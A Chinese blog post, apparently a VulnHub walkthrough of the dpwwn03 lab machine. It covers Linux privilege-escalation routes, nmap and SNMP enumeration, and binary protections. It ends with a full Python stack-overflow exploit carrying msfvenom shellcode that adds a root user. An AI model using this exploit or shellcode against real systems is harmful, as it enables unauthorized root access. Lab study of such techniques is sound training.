Linux 通过栈溢出进行提权实战(dpwwn03)

发布于 2025-12-02 03:37:59 字数 7508 浏览 6 评论 0

最近在刷 vulnhub 靶场,偶然间做到了 dpwwn 系列的靶场,其中 dpwwn03 靶场提权用的是程序栈溢出的漏洞,相对常规方法还是比较少见的,所以拿出来单独在这里研究下。既然讲到了提权,顺带介绍下常规的提权方式:

1、内核漏洞

例如脏牛这类型的。

2、定时任务

Cron 通常以 root 特权运行。如果我们可以成功修改 cron 中的任何脚本或二进制文件,那么我们可以使用 root 权限执行任意代码。

3、suid 提权

SUID 代表设置的用户 ID,是一种 Linux 功能,允许用户在指定用户的许可下执行文件。例如,Linux ping 命令通常需要 root 权限才能打开原始网络套接字。通过将 ping 程序标记为 SUID(所有者为 root),只要低特权用户执行 ping 程序,便会以 root 特权执行 ping。

4、sudo 配置错误

管理员可能只允许用户通过 SUDO 运行一些命令,可能在没有察觉的情况下中引入漏洞,这可能导致权限提升。一个典型的例子是将 SUDO 权限分配给 find 命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以 root 特权执行命令。

5、第三方组件

某些程序使用 root 权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获得 root 权限。

6、NFS 提权

网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS 使用远程过程调用(RPC)在客户端和服务器之间路由请求。Root Squashing 参数阻止对连接到 NFS 卷的远程 root 用户具有 root 访问权限。远程 root 用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话,并为远程用户授予 root 用户对所连接系统的访问权限。

下面我们从头开始介绍 dpwwn03 这个靶场的渗透过程,以这个靶场为对象进行相关知识的研究。

一、主机发现

因为是靶场,在配置好虚拟机的 NAT 连接方式后,需要发现靶机的 ip,使用如下的命令:

arp-scan -l

nmap -sP 192.168.167.0/24

二、端口发现

常用的命令有:

nmap -sS -sV -Pn -T4 -p- 192.168.167.189

nmap -A -O -sV -p 22,161 --script=vuln 192.168.167.189

下图是我对靶机的扫描结果:

这个靶机因为没有 web 端口,所以目录扫描就省去了,不然在实战中,目录扫描是很关键的一步,通常都需要通过目录扫描来提供漏洞挖掘思路。

三、漏洞挖掘

从端口的扫描结果可以知道,该靶机渗透的重点就在 22 和 161 端口,我们一个一个来试试。

1、ssh

nmap 通过脚本扫描已经列出了一堆,在用 searchsploit 看看;

没找到能合适用的 exp,换下一个端口试试。

2、snmp

简单网络管理协议(SNMP)是 TCP/IP 协议簇的一个应用层协议。具体的大家自行查阅,我在这里就不贴了。看下可利用的漏洞:

也没发现啥合适的漏洞。

后来找到了一款针对 snmp 协议的工具,使用了一下发现:

snmpwalk 是 SNMP 的一个工具,它使用 SNMP 的 GETNEXT 请求查询指定 OID(SNMP 协议中的对象标识)入口的所有 OID 树信息,并显示给用户。

其他就没啥思路了。用这个 john 去试了试 ssh 登录,居然成功了,有点玄幻了。

四、提权

连上 ssh 后,一上来肯定是要 sudo 的都试试;

在 sudo -l 中已经发现了线索,看下 ss.sh;

尝试 http 下载但没有成功,以后遇到 bash 反弹的就架个服务器,遇到 ssh 的还是用 sftp 更方便点;

我这里用得是 MobaXterm;运行下程序看看;

到这里提权思路已经很明显了,suid 提权的思想,smashthestack 是以 root 的权限运行的,如果通过 smashthestack 在运行其他程序,那其他程序也是以 root 的权限运行的,下面就来研究下 smashthestack 这个程序。

程序分析

看看程序的基本信息;看看程序开了哪些保护;

1、RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对 GOT(Global Offset Table)攻击。RELRO 为” Partial RELRO”,说明我们对 GOT 表具有写权限。RELRO 会有 Partial RELRO 和 FULL RELRO,如果开启 FULL RELRO,意味着我们无法修改 got 表

2、Stack:这个选项表示栈保护功能有没有开启。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行。

在 Linux 中我们将 cookie 信息称为 canary。如果栈中开启 Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary 的方法来绕过

3、NX:NX 即 No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。gcc 编译器默认开启了 NX 选项,如果需要关闭 NX 选项,可以给 gcc 编译器添加-z execstack 参数。例如:

gcc -z execstack -o test test.c

在 Windows 下,类似的概念为 DEP(数据执行保护),在最新版的 Visual Studio 中默认开启了 DEP 编译选项。NX enabled 如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的 call esp 或者 jmp esp 的方法就不能使用,但是可以利用 rop 这种方法绕过 4、PIE(ASLR):PIE enabled 如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开 PIE 的话那么 No PIE (0x400000),括号内的数据就是程序的基地址

这个程序可以在栈上执行代码,条件便利了很多。

程序逻辑结构:

read 读进来了 1024 个字节;result 大小只有 728 个字节,读进来的字节数大于拷贝的空间,会发生栈溢出;导致程序跳转到我们构造好的程序空间去执行。

这里栈溢出的难点在于找到溢出后 shellcode 的存放地址,以便覆盖返回地址后,能正确的将返回地址覆盖为 shellcode 的地址。(我是直接进到靶机里去调试的,当然,用 edb、gdb 调试甚至爆破都是可以的。)

这里用 msfvenom 生成自己所需要的 shellcode:

这个 shellcode 的作用是添加一个 root 权限的用户 hack。

完整的 exp 如下:

#!/usr/bin/python
import sys, socket

EIP = "\xd1\xf2\xff\xbf"
junk = "A"*732
NOP = "\x90" * 16
# msfvenom -p linux/x86/adduser USER=hack PASS=hack123 -e x86/alpha_mixed -f c
payload = (
"\x89\xe0\xda\xca\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x35"
"\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d"
"\x4b\x30\x42\x4a\x53\x35\x50\x58\x45\x61\x6f\x39\x72\x71\x75"
"\x38\x62\x53\x32\x53\x32\x57\x70\x64\x62\x48\x66\x4f\x34\x6f"
"\x44\x30\x73\x51\x45\x38\x34\x6f\x30\x65\x51\x64\x70\x63\x4b"
"\x39\x78\x63\x52\x61\x4d\x65\x45\x54\x58\x4d\x4b\x30\x6f\x63"
"\x6a\x48\x77\x52\x57\x70\x77\x70\x53\x30\x61\x78\x51\x71\x70"
"\x63\x52\x4b\x77\x4a\x52\x61\x30\x7a\x75\x32\x62\x67\x31\x62"
"\x54\x6f\x57\x31\x75\x35\x33\x71\x43\x62\x32\x71\x74\x30\x71"
"\x51\x76\x5a\x46\x50\x57\x4a\x56\x50\x46\x5a\x56\x5a\x64\x6f"
"\x46\x5a\x34\x6f\x63\x52\x50\x69\x72\x4e\x34\x6f\x44\x33\x52"
"\x48\x75\x5a\x63\x69\x4c\x4b\x72\x71\x4b\x4c\x30\x6a\x43\x34"
"\x56\x38\x5a\x6d\x6b\x30\x43\x5a\x63\x31\x50\x58\x78\x4d\x4d"
"\x50\x41\x41"
)

buffer = junk + EIP + NOP + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost",3210))  #s.connect(("192.168.167.138",3210))  尝试远程溢出,但远端程序连接存在问题没有成功;
s.send(buffer)
s.close()

因为 tmp 才可写,所以把 payload 下载到 tmp 目录下运行的:

而后直接 su hack 就完成了提权。大家还可以根据自己的需要,利用 msfvenom 生成各种 payload 进行测试,在这里就不再重复了。

总结

靶机的渗透脑洞了一下,也学到了 snmp 这个平时我们很容易忽视的协议。关于提权,原理和思路都很清晰,溢出的方法也不难,就是程序的调试有点让人崩溃,需要自己去找到 shellcode 的存放位置,因为开了 PIE,所以不同系统、不同机器启动后 shellcode 的位置都会发生变化。

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。